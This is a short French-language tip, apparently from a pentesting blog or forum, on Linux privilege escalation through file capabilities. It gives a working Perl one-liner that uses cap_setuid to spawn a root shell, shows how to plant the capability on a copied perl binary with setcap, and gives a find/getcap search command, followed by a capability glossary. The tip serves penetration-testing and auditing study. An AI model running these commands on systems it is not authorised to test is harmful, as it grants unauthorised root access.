Voilà un astuce
en exécutant le script linpeas, vous remarque que perl apparaît avec les “capabilities”: cap_setuid+ep set
vous pouvez obtenir un shell root
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Vous pouvez aussi donner à Perl cette capacité:
cp $(which perl) .
sudo setcap cap_setuid+ep perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Pour trouver d’autres exécutables avec des capabilities
find / -type f -exec getcap {} \;
Exemple de capabilities
- CAP_AUDIT_CONTROL : Permet d’activer et de désactiver l’audit du kernel
- CAP_AUDIT_WRITE : Aide à écrire des enregistrement dans les logs de l’audit du kernel
- CAP_BLOCK_SUSPEND : Cette fonctionnalité peut bloquer la mise en veille du système
- CAP_CHOWN : Permet de faire des changements arbitraires aux UID et GID des fichiers
- CAP_DAC_OVERRIDE : Ceci aide à outrepasser la vérification des permissions pour la lecture, écriture et exécutation< des fichiers/li>
- CAP_DAC_READ_SEARCH : Ceci outrepasse uniquement les permissions des fichiers et répertoires pour les permissions de lecture et exécution
- CAP_FOWNER : Ceci permet de contourner la vérifcation que le UID du processus système corresponde à celui du fichier
- CAP_KILL : Permet l’envoi de signaux à des processus appertenant à d’autres usagers
- CAP_SETGID : Permet le changement du GID
- CAP_SETUID : Permet le changement du UID
- CAP_SETPCAP : Permet le transfert de capabilites à d’autres PID
- CAP_IPC_LOCK : Permet de verrouiller la mémoire
- CAP_MAC_ADMIN : Permet la configuration ou le changement d’état MAC
- CAP_NET_RAW : Permet l’utilisation de cokets RAW et PACKET et permet de le BIND d’adresse pour un proxy transparent
- CAP_NET_BIND_SERVICE : Service Bind un Socket sur des ports priviligiés d’un domaine internet